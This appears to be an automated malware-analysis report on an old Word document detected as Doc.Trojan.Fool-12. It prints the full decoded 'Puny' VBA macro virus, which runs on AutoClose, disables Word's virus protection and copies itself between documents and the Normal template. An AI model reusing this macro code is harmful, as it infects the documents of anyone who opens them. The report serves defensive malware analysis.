MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine. This macro is designed to export VBA components to a file named 'c:\P' and then import them, a common technique for establishing persistence or downloading and executing additional malware. The ClamAV detection 'Doc.Trojan.Fool-12' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Fool-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Fool-12
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 845 bytes |
SHA-256: 481be5de6c0d4a2909740bd5394a2f36c5b50aaef3c7b3e98da7210bd4b68b92 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Puny"
Sub AutoClose()
'Puny v1.01 The WaLRuS
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents
If N.Item("Puny").Name <> "Puny" Then
D("Puny").Export "c:\P"
Set i = NormalTemplate.VBProject
ElseIf D.Item("Puny").Name <> "Puny" Then
N("Puny").Export "c:\P"
Set i = ActiveDocument.VBProject
End If
i.VBComponents.Import ("c:\P")
ActiveDocument.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.